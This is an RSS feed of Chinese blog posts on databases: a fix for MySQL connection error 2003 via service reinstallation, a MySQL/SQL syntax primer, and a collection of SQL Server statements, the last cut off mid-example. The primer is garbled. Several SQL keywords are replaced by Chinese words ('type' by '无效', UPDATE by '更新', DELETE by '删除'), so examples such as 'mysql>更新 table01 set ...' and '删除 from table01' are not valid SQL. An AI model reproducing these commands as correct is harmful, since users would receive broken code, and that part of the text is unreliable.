﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-分享JAVA-随笔分类-D)   sql server</title><link>http://www.blogjava.net/bcims/category/7098.html</link><description>------------------什么样的素质决定什么样的技术</description><language>zh-cn</language><lastBuildDate>Tue, 03 Jul 2007 16:47:46 GMT</lastBuildDate><pubDate>Tue, 03 Jul 2007 16:47:46 GMT</pubDate><ttl>60</ttl><item><title>ERROR 2003: Can't connect to MySQL server on 'localhost' (10061)解决方法</title><link>http://www.blogjava.net/bcims/archive/2007/07/03/127939.html</link><dc:creator>bcims</dc:creator><author>bcims</author><pubDate>Tue, 03 Jul 2007 11:41:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/07/03/127939.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/127939.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/07/03/127939.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/127939.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/127939.html</trackback:ping><description><![CDATA[
		<font color="#ff3300">
				<font color="#000000">我经常在把电脑用工具整理后，常出现了用frontmysql连不上mysql的问题。出现的错误提示是</font>
				<font color="#000000">
						<strong>
								<font color="#ff0000">ERROR 2003: Can't connect to MySQL server on 'localhost' (10061)</font>，</strong>
						<font color="#000000">以前这个问题我也遇到过，在csdn里也有人遇到过。但我感觉大家好像都要保留一些东西一样，总是草草的讲了一下，后来我在国外的一个网站</font>
						<a href="http://forums.devshed.com/mysql-help-4/error-2003-can-t-connect-to-mysql-server-on-localhost-26423.html">
								<font color="#000000">http://forums.devshed.com/mysql-help-4/error-2003-can-t-connect-to-mysql-server-on-localhost-26423.html</font>
						</a>
						<font color="#000000">上找到了答案，现跟大家分享一下，希望能对大家有所帮助。<br /></font>
						<br />
						<strong>具体解决是：<br /></strong> had this problem, and this what helped me.....<br /><br />I have Winxp.....<br /><br />I removed the previous service, because I had an earlier version....<br /><br /><font color="#ff3300"><strong>/bin/mysqld-nt /remove</strong></font><br /><br />Then I installed the service<br /><br /><br /><font color="#ff0066"><strong>/bin/mysqld-nt /install</strong></font><br /><br />Then I edited the my.ini file, by opening winMysqladmin<br /><br />/bin/winmysqladmin<br />That command having opened the program...then you should<br /><br />then select 4th tab, which is the my.ini file<br /><br />You then edit the file to reflect where you had the files of MYSQL...<br /><br />as the MY.ini said I had it under c:\mysql ....and I had it under <br />another folder altogeather....<br /><br />For simplicity sake, I just copied the files from my current folder to <br />the specified by my.ini<br /><br />This got me the access I wanted....<br /><br />Very happy...<br /><br />Hope this helps....<br /><br />Regards Justin(James)HORT<br />From New Zealand, Palmy</font>
		</font>
<img src ="http://www.blogjava.net/bcims/aggbug/127939.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">bcims</a> 2007-07-03 19:41 <a href="http://www.blogjava.net/bcims/archive/2007/07/03/127939.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL语法速成 </title><link>http://www.blogjava.net/bcims/archive/2007/06/10/123245.html</link><dc:creator>bcims</dc:creator><author>bcims</author><pubDate>Sun, 10 Jun 2007 13:32:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/06/10/123245.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/123245.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/06/10/123245.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/123245.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/123245.html</trackback:ping><description><![CDATA[
		<p>
				<font id="zoom">一、SQL速成 <br />结构查询语言(SQL)是用于查询关系数据库的标准语言，它包括若干关键字和一致的语法，便于数据库元件(如表、索引、字段等)的建立和操纵。 <br />以下是一些重要的SQL快速参考，有关SQL的语法和在标准SQL上增加的特性，请查询MySQL手册。 </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">1．创建表 <br />表是数据库的最基本元素之一，表与表之间可以相互独立，也可以相互关联。创建表的基本语法如下： <br />create table table_name <br />(column_name data无效 {identity |null|not null}, <br />…) <br />其中参数table_name和column_name必须满足用户数据库中的识别器(identifier)的要求，参数data无效是一个标准的SQL类型或由用户数据库提供的类型。用户要使用non-null从句为各字段输入数据。 <br />create table还有一些其他选项，如创建临时表和使用select子句从其他的表中读取某些字段组成新表等。还有，在创建表是可用PRIMARY KEY、KEY、INDEX等标识符设定某些字段为主键或索引等。 <br />书写上要注意： <br />在一对圆括号里的列出完整的字段清单。 <br />字段名间用逗号隔开。 <br />字段名间的逗号后要加一个空格。 <br />最后一个字段名后不用逗号。 <br />所有的SQL陈述都以分号";"结束。 <br />例： <br />mysql&gt; CREATE TABLE test (blob_col BLOB, index(blob_col(10))); </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">2．创建索引 <br />索引用于对数据库的查询。一般数据库建有多种索引方案，每种方案都精于某一特定的查询类。索引可以加速对数据库的查询过程。创建索引的基本语法如下： <br />create index index_name <br />on table_name (col_name[(length)],... ) <br />例： <br />mysql&gt; CREATE INDEX part_of_name ON customer (name(10)); </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">3．改变表结构 <br />在数据库的使用过程中，有时需要改变它的表结构，包括改变字段名，甚至改变不同数据库字段间的关系。可以实现上述改变的命令是alter，其基本语法如下： <br />alter table table_name alter_spec [, alter_spec ...] <br />例： <br />mysql&gt; ALTER TABLE t1 CHANGE a b INTEGER; </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">4．删除数据对象 <br />很多数据库是动态使用的，有时可能需要删除某个表或索引。大多数数据库对象可以下面的命令删除： <br />drop object_name <br />mysql&gt; DROP TABLE tb1; </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">5．执行查询 <br />查询是使用最多的SQL命令。查询数据库需要凭借结构、索引和字段类型等因素。大多数数据库含有一个优化器(optimizer)，把用户的查询语句转换成可选的形式，以提高查询效率。 <br />值得注意的是MySQL不支持SQL92标准的嵌套的where子句，即它只支持一个where子句。其基本语法如下： <br />SELECT [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [HIGH_PRIORITY] <br />[DISTINCT | DISTINCTROW | ALL] <br />select_expression,... <br />[INTO {OUTFILE | DUMPFILE} 'file_name' export_options] <br />[FROM table_references <br />[WHERE where_definition] <br />[GROUP BY col_name,...] <br />[HAVING where_definition] <br />[ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] ,...] <br />[LIMIT [offset,] rows] <br />[PROCEDURE procedure_name] ] <br />其中where从句是定义选择标准的地方，where_definition可以有不同的格式，但都遵循下面的形式： <br />字段名操作表达式 <br />字段名操作字段名 <br />在第一种形式下，标准把字段的值与表达式进行比较；在第二种形式下，把两个字段的值进行比较。根据所比较的数据类型，search_condition中的操作可能选以下几种： <br />= 检查是否相等 <br />！= 检查是否不等 </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">&gt; (或&gt;=) 检查左边值是否大于(或大于等于)右边值 <br />&lt;(或&lt;=) 检查左边值是否小于(或小于等于)右边值 <br />[not] between 检查左边值是否在某个范围内 <br />[not] in 检查左边是否某个特定集的成员 <br />[not] like 检查左边是否为右边的子串 <br />is [not] null 检查左边是否为空值 <br />在这里，可以用通配符_代表任何一个字符，％代表任何字符串。使用关键字&lt;AND&gt;、&lt;OR&gt;和&lt;NOT&gt;可以生成复杂的词，它们运行检查时使用布尔表达式的多重标准集。 <br />例： <br />mysql&gt; select t1.name, t2.salary from employee AS t1, info AS t2 where t1.name = t2.name; <br />mysql&gt; select college, region, seed from tournament <br />ORDER BY region, seed; <br />mysql&gt; select col_name from tbl_name WHERE col_name &gt; 0; </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">6．修改表中数据 <br />在使用数据库过程中，往往要修改其表中的数据，比如往表中添加新数据，删除表中原有数据，或对表中原有数据进行更改。它们的基本语法如下： <br />数据添加： <br />insert [into] table_name [(column(s))] <br />values (expression(s)) <br />例： <br />mysql&gt; INSERT INTO tbl_name (col1,col2) VALUES(15,col1*2); <br />数据删除： <br />删除 from table_name where search_condition <br />数据更改： <br />更新 table_name <br />set column1=expression1, <br />column2=expression2,… <br />where search_condition </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">7．数据库切换 <br />当存在多个数据库时，可以用下面的命令定义用户想使用的数据库： <br />use database_name </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">8．统计函数 <br />SQL有一些统计函数，它们对于生成数据表格很有帮助。下面介绍几个常用的统计函数： <br />sum (exepression) 计算表达式的和 <br />avg (exepression) 计算表达式的平均值 <br />count (exepression) 对表达式进行简单的计数 <br />count (*) 统计记录数 <br />max (exepression) 求最大值 <br />min (exepression) 求最小值 <br />其中exepression为任何有效的SQL表达式，它可以是一个或多个记录，也可以是别的SQL函数的组合。 </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">二、MySQL使用导引 <br />1．运用MySQL建立新数据库 <br />在shell下运行： <br />＄&gt;mysqladmin create database01 <br />Database "database01" created. </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">2．启动MySQL <br />在shell下运行： <br />＄&gt;mysql <br />Welcome to the MySQL monitor. Commands end with ; or g. <br />Your MySQL connection id is 22 to server version: 3.21. 29a-gamma-debug <br />无效 'help' for help. </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">3．更换数据库 <br />mysql&gt;use database01 <br />database changed. </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">4．创建表 <br />mysql&gt;create table table01 (field01 integer, field02 char(10)); <br />Query OK, 0 rows affected (0.00 sec) </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">5．列出表清单 <br />mysql&gt;show tables; <br />Tables in database01 <br />Table01 <br />table02 </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">6．列出表中的字段清单 <br />mysql&gt;show columns from table01; <br />Field 无效 Null Key Default Extra <br />field01 int(11) YES <br />field02 char(10) YES </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">7．表的数据填写 <br />插入数据 <br />mysql&gt;insert into table01 (field01, field02) values (1, 'first'); <br />Query OK, 1 row affected (0.00 sec) </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">8．字段的增加 <br />...一次一个字段 <br />mysql&gt;alter table table01 add column field03 char(20); <br />Query OK, l row affected (0.04 sec) <br />Records: 1 Duplicates: 0 Warnings: 0 <br />...一次多个字段 <br />mysql&gt;alter table table01 add column field04 date, add column field05 time; <br />Query OK, l row affected (0.04 sec) <br />Records: 1 Duplicates: 0 Warnings: 0 <br />注意：每一列都必须以"add column"重新开始。 <br />它运行了吗？让我们看看。 <br />mysql&gt;select * from table01; <br />field01 field02 field03 field04 field05 <br />1 first NULL NULL NULL </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">9．多行命令输入 <br />MySQL命令行界面允许把陈述作为一行输入，也可以把它展开为多行输入。这两者之间并没有语法上的区别。使用多行输入，你可以将SQL陈述一步步分解，从而使你更容易理解。 <br />在多行方式下，注释器把每一行都添加到前面的行后，直到你用分号";"来结束这个SQL陈述。一旦键入分号并按回车键，这个陈述即被执行。 <br />下面的例子是同一个严格的SQL陈述的两种输入方法： <br />单行输入 <br />Mysql&gt;create table table33 (field01 integer, field02 char(30)); <br />多行输入 <br />Mysql&gt;create table table33 <br />-&gt;(field01 <br />-&gt;integer, <br />-&gt;field02 <br />-&gt;char(30)); <br />注意不能将单词断开，如： <br />正确 <br />mysql&gt;create table table33 <br />-&gt;( field01 <br />-&gt;integer, <br />-&gt;field02 <br />-&gt;char(30)); <br />错误 <br />mysql&gt;create table table33 <br />-&gt;( field01 inte <br />-&gt;ger, <br />-&gt;field02 <br />-&gt;char(30)); <br />当插入或更改数据时，不能将字段的字符串展开到多行里，否则硬回车将被储存到数据中： <br />标准操作 <br />mysql&gt;insert into table33 (field02) <br />-&gt;values <br />-&gt;('who thought of foo?'); <br />硬回车储存到数据中 <br />mysql&gt;insert into table33 (field02) <br />-&gt;values <br />-&gt;('who thought <br />-&gt;of foo?'); <br />结果如下： <br />mysql&gt;select * from table33; <br />field01 field02 <br />NULL who thought of foo? <br />NULL who thought <br />Of foo? </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">10．表的数据嵌入 <br />mysql&gt;insert into table01 (field01, field02, field03, field04, field05) values <br />-&gt;(2, 'second', 'another', '1999-10-23', '10:30:00'); <br />Query OK, 1 row affected (0.00 sec) <br />标准日期格式是"yyyy-mm-dd"。 <br />标准时间格式是"hh:mm:ss"。 <br />引号内要求所给的是上述的标准日期和时间格式。 <br />日期也可以"yyyymmdd"形式，时间也可以"hhmmss"形式输入，但其值不需要再加引号。 <br />数字值不需要加引号。这种保存与数据类型无关，这些数据类型都有格式化的专栏来包含(例如：文本，日期，时间，整数等)。 <br />MySQL有一个很有用的命令缓冲区。它保存着你目前已经键入的SQL语句利用它，对于相同的命令，你就不必一遍又一遍地重复输入。下一步我们就来看这样的一个例子。 <br />利用命令缓冲区(及任意的日期和时间格式)增加另一个数据 <br />按两次键盘上的向上箭头键。 <br />回车。 <br />在圆括号内输入新的值，并以分号结尾。 <br />(3, 'a third', 'more', 19991024, 103004); <br />回车。 <br />新值存在里面了吗？ <br />mysql&gt;select * from table01; <br />field01 field02 field03 field04 field05 <br />1 first NULL NULL NULL <br />2 second another 1999-10-23 10:30:00 <br />3 a third more 1999-10-24 10:30:04 </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">11．表的数据更新 <br />一次修改一个字段 <br />再次注意语法。文本需要加引号但数字不要。 <br />mysql&gt;更新 table01 set field03='new info' where field01=1; <br />Query OK, 1 row affected (0.00 sec) <br />一次改变多个字段 <br />记住在每一个更新的字段间用逗号隔开。 <br />mysql&gt;更新 table01 set field04=19991022, field05=062218 where field01=1; <br />Query OK, 1 row affected (0.00 sec) <br />一次更新多个数据 <br />mysql&gt;更新 table01 set field05=152901 where field04&gt;19990101; <br />Query OK, 3 rows affected (0.00 sec) </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">12．删除数据 <br />mysql&gt;删除 from table01 where field01=3; <br />Query OK, 1 row affected (0.00 sec) </font>
		</p>
		<font id="zoom">
		</font>
		<p>
				<font id="zoom">13．退出 <br />mysql&gt;quit <br />Bye <br />现 在你已经了解了一些运行MySQL中的数据库的根本命令。由于MySQL是通过执行SQL调用来操作的，在你的处理过程中需要一个强有力工具的充足的数 组。例如，通过联接相关的字段，你可以同时显示几个表中的数据。同样，SQL允许综合显示、更新或者删除多个符合具体标准的数据。如果你还想精通掌握它， 下一步就要学习所有SQL的知识。 </font>
		</p>
<img src ="http://www.blogjava.net/bcims/aggbug/123245.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">bcims</a> 2007-06-10 21:32 <a href="http://www.blogjava.net/bcims/archive/2007/06/10/123245.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL语句集合 </title><link>http://www.blogjava.net/bcims/archive/2007/03/16/104368.html</link><dc:creator>bcims</dc:creator><author>bcims</author><pubDate>Fri, 16 Mar 2007 13:55:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/03/16/104368.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/104368.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/03/16/104368.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/104368.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/104368.html</trackback:ping><description><![CDATA[
		<p>1.用一个表中的一个字段更新另一个表中的字段</p>
		<div style="BORDER-RIGHT: windowtext 0.5pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 0.5pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: #e6e6e6; PADDING-BOTTOM: 4px; BORDER-LEFT: windowtext 0.5pt solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: windowtext 0.5pt solid">
				<div>
						<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />
						<span style="COLOR: #0000ff">update</span>
						<span style="COLOR: #000000"> TableA </span>
						<span style="COLOR: #0000ff">set</span>
						<span style="COLOR: #000000"> name </span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #000000"> b.name </span>
						<span style="COLOR: #0000ff">from</span>
						<span style="COLOR: #000000"> TableA a,TableB b </span>
						<span style="COLOR: #0000ff">where</span>
						<span style="COLOR: #000000"> a.idA </span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #000000">b.idB</span>
				</div>
		</div>
		<br />
		<p>
		</p>
		<div style="BORDER-RIGHT: windowtext 0.5pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 0.5pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: #e6e6e6; PADDING-BOTTOM: 4px; BORDER-LEFT: windowtext 0.5pt solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: windowtext 0.5pt solid">
				<div>
						<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />
						<span style="COLOR: #008080">--</span>
						<span style="COLOR: #008080">错误语句(An aggregate may not appear in the set list of an UPDATE statement.)</span>
						<span style="COLOR: #008080">
								<br />
								<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />
						</span>
						<span style="COLOR: #0000ff">update</span>
						<span style="COLOR: #000000"> yaf_Topic </span>
						<span style="COLOR: #0000ff">set</span>
						<span style="COLOR: #000000"> LastPosted </span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #ff00ff">max</span>
						<span style="COLOR: #000000">(posted),NumPosts</span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #ff00ff">count</span>
						<span style="COLOR: #000000">(</span>
						<span style="COLOR: #808080">*</span>
						<span style="COLOR: #000000">) </span>
						<span style="COLOR: #0000ff">from</span>
						<span style="COLOR: #000000"> yaf_Message a,yaf_Topic b </span>
						<span style="COLOR: #0000ff">where</span>
						<span style="COLOR: #000000"> a.TopicID </span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #000000">b.TopicID </span>
						<span style="COLOR: #808080">and</span>
						<span style="COLOR: #000000"> b.ForumID </span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #000000"> </span>
						<span style="FONT-WEIGHT: bold; COLOR: #800000">10</span>
						<span style="COLOR: #000000">
								<br />
								<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />
								<br />
								<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />
						</span>
						<span style="COLOR: #008080">--</span>
						<span style="COLOR: #008080">正确语句</span>
						<span style="COLOR: #008080">
								<br />
								<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />
						</span>
						<span style="COLOR: #0000ff">update</span>
						<span style="COLOR: #000000"> yaf_Topic <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />    </span>
						<span style="COLOR: #0000ff">set</span>
						<span style="COLOR: #000000">  LastPosted </span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #000000"> maxLastPosted,NumPosts </span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #000000"> NumPostscount  <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span>
						<span style="COLOR: #0000ff">from</span>
						<span style="COLOR: #000000"> (</span>
						<span style="COLOR: #0000ff">select</span>
						<span style="COLOR: #000000"> maxLastPosted </span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #ff00ff">max</span>
						<span style="COLOR: #000000">(posted),NumPostscount</span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #ff00ff">count</span>
						<span style="COLOR: #000000">(</span>
						<span style="COLOR: #808080">*</span>
						<span style="COLOR: #000000">),TopicID </span>
						<span style="COLOR: #0000ff">from</span>
						<span style="COLOR: #000000"> yaf_Message </span>
						<span style="COLOR: #0000ff">group</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #0000ff">by</span>
						<span style="COLOR: #000000"> topicID)a,yaf_Topic b <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span>
						<span style="COLOR: #0000ff">where</span>
						<span style="COLOR: #000000"> a.TopicID </span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #000000">b.TopicID </span>
						<span style="COLOR: #808080">and</span>
						<span style="COLOR: #000000"> b.ForumID </span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #000000"> </span>
						<span style="FONT-WEIGHT: bold; COLOR: #800000">10</span>
				</div>
		</div>
		<p>2.判断符合某个条件的记录是否存在,存在则不insert,不存在则Insert</p>
		<div style="BORDER-RIGHT: windowtext 0.5pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 0.5pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: #e6e6e6; PADDING-BOTTOM: 4px; BORDER-LEFT: windowtext 0.5pt solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: windowtext 0.5pt solid">
				<div>
						<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />
						<span style="COLOR: #0000ff">insert</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #0000ff">into</span>
						<span style="COLOR: #000000"> yaf_ProduceReviewPostHis(TopicID,Created,Flag,ReplyCount) </span>
						<span style="COLOR: #0000ff">select</span>
						<span style="COLOR: #000000"> </span>
						<span style="FONT-WEIGHT: bold; COLOR: #800000">12345678</span>
						<span style="COLOR: #000000">, </span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #ff0000">23</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #000000">, </span>
						<span style="FONT-WEIGHT: bold; COLOR: #800000">1</span>
						<span style="COLOR: #000000">, </span>
						<span style="FONT-WEIGHT: bold; COLOR: #800000">20</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #0000ff">where</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #808080">not</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #808080">exists</span>
						<span style="COLOR: #000000">(</span>
						<span style="COLOR: #0000ff">select</span>
						<span style="COLOR: #000000"> </span>
						<span style="FONT-WEIGHT: bold; COLOR: #800000">1</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #0000ff">from</span>
						<span style="COLOR: #000000"> yaf_ProduceReviewPostHis </span>
						<span style="COLOR: #0000ff">where</span>
						<span style="COLOR: #000000"> TopicID</span>
						<span style="COLOR: #808080">=</span>
						<span style="FONT-WEIGHT: bold; COLOR: #800000">12345678</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #808080">and</span>
						<span style="COLOR: #000000"> Created</span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #ff0000">23</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #808080">and</span>
						<span style="COLOR: #000000"> Flag</span>
						<span style="COLOR: #808080">=</span>
						<span style="FONT-WEIGHT: bold; COLOR: #800000">1</span>
						<span style="COLOR: #000000">)</span>
				</div>
		</div>
		<p>
				<br />3.判断数据重复</p>
		<div style="BORDER-RIGHT: windowtext 0.5pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 0.5pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: #e6e6e6; PADDING-BOTTOM: 4px; BORDER-LEFT: windowtext 0.5pt solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: windowtext 0.5pt solid">
				<div>
						<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />
						<span style="COLOR: #0000ff">select</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #ff00ff">count</span>
						<span style="COLOR: #000000">(</span>
						<span style="COLOR: #808080">*</span>
						<span style="COLOR: #000000">) </span>
						<span style="COLOR: #0000ff">from</span>
						<span style="COLOR: #000000"> <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />(</span>
						<span style="COLOR: #0000ff">select</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #ff00ff">count</span>
						<span style="COLOR: #000000">(</span>
						<span style="COLOR: #808080">*</span>
						<span style="COLOR: #000000">) </span>
						<span style="COLOR: #0000ff">as</span>
						<span style="COLOR: #000000"> user_count,userID,ForumID<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span>
						<span style="COLOR: #0000ff">from</span>
						<span style="COLOR: #000000"> yaf_vaccess<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span>
						<span style="COLOR: #0000ff">group</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #0000ff">by</span>
						<span style="COLOR: #000000"> userID,ForumID<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span>
						<span style="COLOR: #0000ff">having</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #ff00ff">count</span>
						<span style="COLOR: #000000">(</span>
						<span style="COLOR: #808080">*</span>
						<span style="COLOR: #000000">)</span>
						<span style="COLOR: #808080">&gt;</span>
						<span style="FONT-WEIGHT: bold; COLOR: #800000">1</span>
						<span style="COLOR: #000000">) a</span>
				</div>
		</div>
		<p>4.找重复列</p>
		<div style="BORDER-RIGHT: windowtext 0.5pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 0.5pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: #e6e6e6; PADDING-BOTTOM: 4px; BORDER-LEFT: windowtext 0.5pt solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: windowtext 0.5pt solid">
				<div>
						<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />
						<span style="COLOR: #0000ff">select</span>
						<span style="COLOR: #000000"> a.</span>
						<span style="COLOR: #808080">*</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #0000ff">from</span>
						<span style="COLOR: #000000"> test a,(</span>
						<span style="COLOR: #0000ff">select</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #ff00ff">count</span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #ff00ff">count</span>
						<span style="COLOR: #000000">(</span>
						<span style="COLOR: #808080">*</span>
						<span style="COLOR: #000000">),string</span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #ff00ff">min</span>
						<span style="COLOR: #000000">(string),test_id</span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #ff00ff">min</span>
						<span style="COLOR: #000000">(test_id) </span>
						<span style="COLOR: #0000ff">from</span>
						<span style="COLOR: #000000"> test </span>
						<span style="COLOR: #0000ff">group</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #0000ff">by</span>
						<span style="COLOR: #000000"> string) b </span>
						<span style="COLOR: #0000ff">where</span>
						<span style="COLOR: #000000"> a.string</span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #000000">b.string </span>
						<span style="COLOR: #808080">and</span>
						<span style="COLOR: #000000"> a.test_id</span>
						<span style="COLOR: #808080">&lt;&gt;</span>
						<span style="COLOR: #000000">b.test_id</span>
				</div>
		</div>
		<p>
				<br />5.删除重复数据</p>
		<div style="BORDER-RIGHT: windowtext 0.5pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 0.5pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: #e6e6e6; PADDING-BOTTOM: 4px; BORDER-LEFT: windowtext 0.5pt solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: windowtext 0.5pt solid">
				<div>
						<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />
						<span style="COLOR: #0000ff">delete</span>
						<span style="COLOR: #000000"> test </span>
						<span style="COLOR: #0000ff">where</span>
						<span style="COLOR: #000000"> test.test_id </span>
						<span style="COLOR: #808080">in</span>
						<span style="COLOR: #000000"> (<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span>
						<span style="COLOR: #0000ff">select</span>
						<span style="COLOR: #000000"> a.test_id </span>
						<span style="COLOR: #0000ff">from</span>
						<span style="COLOR: #000000"> test a,(</span>
						<span style="COLOR: #0000ff">select</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #ff00ff">count</span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #ff00ff">count</span>
						<span style="COLOR: #000000">(</span>
						<span style="COLOR: #808080">*</span>
						<span style="COLOR: #000000">),string</span>
						<span style="COLOR: #808080">=</span>
